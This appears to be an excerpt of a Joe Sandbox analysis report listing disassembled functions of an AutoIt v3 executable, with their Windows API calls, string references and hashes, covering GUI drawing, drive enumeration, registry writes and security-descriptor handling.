Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 17e0140711ccf54faadd95fc66ecced7bd0ba38e36ea73e522867fcdf08b90a0
Instruction ID: e55dcfcc280f93c5d21d12e0eeacc1eedb1c538e374d915b2179c4cbf6ad0353
Opcode Fuzzy Hash: 17e0140711ccf54faadd95fc66ecced7bd0ba38e36ea73e522867fcdf08b90a0
Instruction Fuzzy Hash: ACA1AE72408306AFD700AF60DE4AF5B7BA9FB89320F140A19F966971E1D731E944EF91

Function 00F48D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00F48E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00F86AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00F86AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00F86F43

Part of subcall function 00F48F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00F48BE8,?,00000000,?,?,?,?,00F48BBA,00000000,?), ref: 00F48FC5

SendMessageW.USER32(?,00001053), ref: 00F86F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00F86F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00F86FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00F86FB7

Strings

0, xrefs: 00F86DCF

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: b6a49ede93b3c7fe607014f88b787c4917c13d1245d6b083e9ae1158801c304d
Instruction ID: feb7b183bce0b994a37ca0324ea98b18cc397280fc53e756ba12c4c4774e179e
Opcode Fuzzy Hash: b6a49ede93b3c7fe607014f88b787c4917c13d1245d6b083e9ae1158801c304d
Instruction Fuzzy Hash: 4912AD31A00201EFDB25EF14C945BEABBE5FB45320F144469F999CB251CB36EC92EB91

Function 00FB2711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00FB273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00FB286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 00FB28A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 00FB28B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00FB2900
GetClientRect.USER32(00000000,?), ref: 00FB290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00FB2955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00FB2964
GetStockObject.GDI32(00000011), ref: 00FB2974
SelectObject.GDI32(00000000,00000000), ref: 00FB2978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00FB2988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00FB2991
DeleteDC.GDI32(00000000), ref: 00FB299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00FB29C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 00FB29DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00FB2A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00FB2A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00FB2A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00FB2A77
GetStockObject.GDI32(00000011), ref: 00FB2A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00FB2A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00FB2A97

Strings

static, xrefs: 00FB294F, 00FB2A71
DISPLAY, xrefs: 00FB295A
msctls_progress32, xrefs: 00FB2A13
AutoIt v3, xrefs: 00FB28F8

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: a19e29bf816f70cb41ff88a3ea916a11489904107cca888bc437343128d78804
Instruction ID: e1c11f037eb9c8d5df01b31244f52ecb49b458781bd7aaed6b9c39d3f5754524
Opcode Fuzzy Hash: a19e29bf816f70cb41ff88a3ea916a11489904107cca888bc437343128d78804
Instruction Fuzzy Hash: 21B16FB1A00209AFEB24DF69CD4AFAE7BA9EB48710F148115F914E72D0DB74ED40DB94

Function 00FA4ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FA4AED
GetDriveTypeW.KERNEL32(?,00FCCB68,?,\\.\,00FCCC08), ref: 00FA4BCA
SetErrorMode.KERNEL32(00000000,00FCCB68,?,\\.\,00FCCC08), ref: 00FA4D36

Strings

RAID, xrefs: 00FA4CBB
RAMDisk, xrefs: 00FA4BF4
\\.\, xrefs: 00FA4B3F
Network, xrefs: 00FA4C02
PhysicalDrive, xrefs: 00FA4B76
Unknown, xrefs: 00FA4BED, 00FA4C83
Virtual, xrefs: 00FA4CE5
SAS, xrefs: 00FA4CC9
1394, xrefs: 00FA4C9F
Fibre, xrefs: 00FA4CAD
SCSI, xrefs: 00FA4C8A
CDROM, xrefs: 00FA4BFB
iSCSI, xrefs: 00FA4CC2
SSA, xrefs: 00FA4CA6
ATAPI, xrefs: 00FA4C91
Removable, xrefs: 00FA4C10, 00FA4C15
MMC, xrefs: 00FA4CDE
SSD, xrefs: 00FA4C4A
ATA, xrefs: 00FA4C98
Fixed, xrefs: 00FA4C09
SATA, xrefs: 00FA4CD0
FileBackedVirtual, xrefs: 00FA4CEC
USB, xrefs: 00FA4CB4

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: ec71fc57c768452d7dbef71e11587e7680cdf96e33d4e9b3882fed144ccbd1c0
Instruction ID: cb75527d09e51b625944fd92ccccae06e69da24c196a3c73379e7f64bd76f09f
Opcode Fuzzy Hash: ec71fc57c768452d7dbef71e11587e7680cdf96e33d4e9b3882fed144ccbd1c0
Instruction Fuzzy Hash: 8B61A7B160520A9BCB04DF14CA81A7C77B0AF86760B244415F90AEB6A1DFF5FD41FB52

Function 00FC73E8 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00FC7421
SetTextColor.GDI32(?,?), ref: 00FC7425
GetSysColorBrush.USER32(0000000F), ref: 00FC743B
GetSysColor.USER32(0000000F), ref: 00FC7446
CreateSolidBrush.GDI32(?), ref: 00FC744B
GetSysColor.USER32(00000011), ref: 00FC7463
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00FC7471
SelectObject.GDI32(?,00000000), ref: 00FC7482
SetBkColor.GDI32(?,00000000), ref: 00FC748B
SelectObject.GDI32(?,?), ref: 00FC7498
InflateRect.USER32(?,000000FF,000000FF), ref: 00FC74B7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00FC74CE
GetWindowLongW.USER32(00000000,000000F0), ref: 00FC74DB
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00FC752A
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00FC7554
InflateRect.USER32(?,000000FD,000000FD), ref: 00FC7572
DrawFocusRect.USER32(?,?), ref: 00FC757D
GetSysColor.USER32(00000011), ref: 00FC758E
SetTextColor.GDI32(?,00000000), ref: 00FC7596
DrawTextW.USER32(?,00FC70F5,000000FF,?,00000000), ref: 00FC75A8
SelectObject.GDI32(?,?), ref: 00FC75BF
DeleteObject.GDI32(?), ref: 00FC75CA
SelectObject.GDI32(?,?), ref: 00FC75D0
DeleteObject.GDI32(?), ref: 00FC75D5
SetTextColor.GDI32(?,?), ref: 00FC75DB
SetBkColor.GDI32(?,?), ref: 00FC75E5

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 2f40ff0a9ee2bfaa1d9f678507812b24bde0e28084fa6b7f294821e46725a1d1
Instruction ID: e908876455d3fc1e72ba01ed9b9b6e6050f07d05821e18987fedec8a2a1730a6
Opcode Fuzzy Hash: 2f40ff0a9ee2bfaa1d9f678507812b24bde0e28084fa6b7f294821e46725a1d1
Instruction Fuzzy Hash: AC617D72D00219AFDF009FA4DD4AEEEBFB9EB08320F144515F919AB2A1D7719940EF90

Function 00FC0FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00FC1128
GetDesktopWindow.USER32 ref: 00FC113D
GetWindowRect.USER32(00000000), ref: 00FC1144
GetWindowLongW.USER32(?,000000F0), ref: 00FC1199
DestroyWindow.USER32(?), ref: 00FC11B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00FC11ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00FC120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00FC121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00FC1232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00FC1245
IsWindowVisible.USER32(00000000), ref: 00FC12A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00FC12BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00FC12D0
GetWindowRect.USER32(00000000,?), ref: 00FC12E8
MonitorFromPoint.USER32(?,?,00000002), ref: 00FC130E
GetMonitorInfoW.USER32(00000000,?), ref: 00FC1328
CopyRect.USER32(?,?), ref: 00FC133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 00FC13AA

Strings

tooltips_class32, xrefs: 00FC11E6
0, xrefs: 00FC10D3
(, xrefs: 00FC131B

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: a4f9cdc81bda229b62aa4df36acd3fa0a26d646c16bde4ecd2eba6672ba65050
Instruction ID: 8d3d0e814b6086cbe759c3f6f430da6540a252a9311d5c9846af09a7c2a4031d
Opcode Fuzzy Hash: a4f9cdc81bda229b62aa4df36acd3fa0a26d646c16bde4ecd2eba6672ba65050
Instruction Fuzzy Hash: C6B1AE71A08341AFD700DF64CA86F6ABBE4FF85314F00891CF9999B262C771E854EB91

Function 00F90D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F910F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00F91114
Part of subcall function 00F910F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00F90B9B,?,?,?), ref: 00F91120
Part of subcall function 00F910F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00F90B9B,?,?,?), ref: 00F9112F
Part of subcall function 00F910F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00F90B9B,?,?,?), ref: 00F91136
Part of subcall function 00F910F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00F9114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00F90DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00F90E29
GetLengthSid.ADVAPI32(?), ref: 00F90E40
GetAce.ADVAPI32(?,00000000,?), ref: 00F90E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00F90E96
GetLengthSid.ADVAPI32(?), ref: 00F90EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00F90EB5
HeapAlloc.KERNEL32(00000000), ref: 00F90EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00F90EDD
CopySid.ADVAPI32(00000000), ref: 00F90EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00F90F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00F90F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00F90F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F90F6E
HeapFree.KERNEL32(00000000), ref: 00F90F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F90F7E
HeapFree.KERNEL32(00000000), ref: 00F90F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F90F8E
HeapFree.KERNEL32(00000000), ref: 00F90F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00F90FA1
HeapFree.KERNEL32(00000000), ref: 00F90FA8

Part of subcall function 00F91193: GetProcessHeap.KERNEL32(00000008,00F90BB1,?,00000000,?,00F90BB1,?), ref: 00F911A1
Part of subcall function 00F91193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00F90BB1,?), ref: 00F911A8
Part of subcall function 00F91193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00F90BB1,?), ref: 00F911B7

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 9eb9af8f8a8ade3411cb128ef6c4ce60af3fd81f638c43bb7b7f3c399ce58ce7
Instruction ID: a3fc36f41eb12a3c7a06c85312fe3eab98b7e6b9081018f0dc024f2268bb5177
Opcode Fuzzy Hash: 9eb9af8f8a8ade3411cb128ef6c4ce60af3fd81f638c43bb7b7f3c399ce58ce7
Instruction Fuzzy Hash: 6D714B7290020AAFEF209FA5DD45FAEBBB8FF04314F044125F919E7191DB319A05EBA0

Function 00FBC3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00FBC4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,00FCCC08,00000000,?,00000000,?,?), ref: 00FBC544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00FBC5A4
_wcslen.LIBCMT ref: 00FBC5F4
_wcslen.LIBCMT ref: 00FBC66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00FBC6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00FBC7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00FBC84D
RegCloseKey.ADVAPI32(?), ref: 00FBC881
RegCloseKey.ADVAPI32(00000000), ref: 00FBC88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00FBC960

Strings

REG_EXPAND_SZ, xrefs: 00FBC5CD
REG_MULTI_SZ, xrefs: 00FBC6F5
REG_DWORD, xrefs: 00FBC804
REG_BINARY, xrefs: 00FBC913
REG_SZ, xrefs: 00FBC644
REG_QWORD, xrefs: 00FBC8C3

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 3183ae57dda166871e149c39b63f3f6557516663051e703d7cfa167199ea25d9
Instruction ID: cbaabcb3d7b0f250eef16801d0df621c554b431f794cc139e4fc665506da5669
Opcode Fuzzy Hash: 3183ae57dda166871e149c39b63f3f6557516663051e703d7cfa167199ea25d9
Instruction Fuzzy Hash: FD126B756042019FDB14DF15C881A6AB7E5EF88724F18885CF88A9B3A2DB35FD41EF81

Function 00FC091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00FC09C6
_wcslen.LIBCMT ref: 00FC0A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00FC0A54
_wcslen.LIBCMT ref: 00FC0A8A
_wcslen.LIBCMT ref: 00FC0B06
_wcslen.LIBCMT ref: 00FC0B81

Part of subcall function 00F4F9F2: _wcslen.LIBCMT ref: 00F4F9FD

Part of subcall function 00F92BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00F92BFA

Strings

GETTOTALCOUNT, xrefs: 00FC09F2, 00FC0A17
GETSELECTED, xrefs: 00FC0C4E
CHECK, xrefs: 00FC0A85, 00FC0AA0
UNCHECK, xrefs: 00FC0D3E
ISCHECKED, xrefs: 00FC0CE1
GETITEMCOUNT, xrefs: 00FC0C1E
EXPAND, xrefs: 00FC0BF8
EXISTS, xrefs: 00FC0B7C, 00FC0B97
SELECT, xrefs: 00FC0D11
COLLAPSE, xrefs: 00FC0B01, 00FC0B1C
GETTEXT, xrefs: 00FC0C97

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: b507728c92a0df4dec8a9752b92f6054985f83a105e5eb2f11d4e3963b9509a6
Instruction ID: d6c15008b1e6e7a526085bd417a93c92bfcce61d72bb9921094873e5e486ca1a
Opcode Fuzzy Hash: b507728c92a0df4dec8a9752b92f6054985f83a105e5eb2f11d4e3963b9509a6
Instruction Fuzzy Hash: 2FE18E36608302DFCB14EF24C951A2AB7E1BF94324F14495CF89697362DB35ED46EB81

Function 00FBC998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00FBB6AE,?,?), ref: 00FBC9B5
_wcslen.LIBCMT ref: 00FBC9F1
_wcslen.LIBCMT ref: 00FBCA68
_wcslen.LIBCMT ref: 00FBCA9E
_wcslen.LIBCMT ref: 00FBCAF9
_wcslen.LIBCMT ref: 00FBCB2F
_wcslen.LIBCMT ref: 00FBCB7F

Strings

HKCR, xrefs: 00FBCB29, 00FBCB2E
HKU, xrefs: 00FBCBF0
HKCU, xrefs: 00FBCBCE
HKEY_USERS, xrefs: 00FBCBDF
HKEY_CLASSES_ROOT, xrefs: 00FBCAF3, 00FBCAF8
HKEY_CURRENT_USER, xrefs: 00FBCBBD
HKEY_LOCAL_MACHINE, xrefs: 00FBCA62, 00FBCA67
HKLM, xrefs: 00FBCA98, 00FBCA9D
HKEY_CURRENT_CONFIG, xrefs: 00FBCB79, 00FBCB7E
HKCC, xrefs: 00FBCBAC

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 3e560894d8cf7475ee522e759cb1c04aceef3457eace07187ae319e30fe60b87
Instruction ID: 9cb8c3907a784f9755f8d602f05838abea83baee2ba9340d4f213dfc1b599ed6
Opcode Fuzzy Hash: 3e560894d8cf7475ee522e759cb1c04aceef3457eace07187ae319e30fe60b87
Instruction Fuzzy Hash: 85710533A0016A8BCB20EE2ACC516FF37959FA0774B214128FC559B295E638CD44BBE0

Function 00FC833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00FC835A
_wcslen.LIBCMT ref: 00FC836E
_wcslen.LIBCMT ref: 00FC8391
_wcslen.LIBCMT ref: 00FC83B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00FC83F2
LoadLibraryExW.KERNEL32(?,00000000,00000032), ref: 00FC844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00FC8487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00FC84CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00FC8501
FreeLibrary.KERNEL32(?), ref: 00FC850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00FC851D
DestroyIcon.USER32(?), ref: 00FC852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00FC8549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00FC8555

Strings

.exe, xrefs: 00FC8388
.dll, xrefs: 00FC83AB
.icl, xrefs: 00FC8368

Memory Dump Source

Source File: 0000000A.00000002.2809581257.0000000000F31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00F30000, based on PE: true

Associated: 0000000A.00000002.2809527518.0000000000F30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FCC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809730559.0000000000FF2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809863692.0000000000FFC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2809916849.0000000001004000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f30000_bebc60ce74.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: dc9cdc1252d02316bd7191c25e36761a1ebc75c1c6325182a25932f5d8d9a501
Instruction ID: 380161ba1c99d7085f43142495bf64f78b0e59c7a85f9f97196aeb4be1537fe6
Opcode Fuzzy Hash: dc9cdc1252d02316bd7191c25e36761a1ebc75c1c6325182a25932f5d8d9a501
Instruction Fuzzy Hash: 6A61D17194021ABAEB18DF64CD42FFE77A8BF04761F10450AF915D70D1DBB4A981EBA0

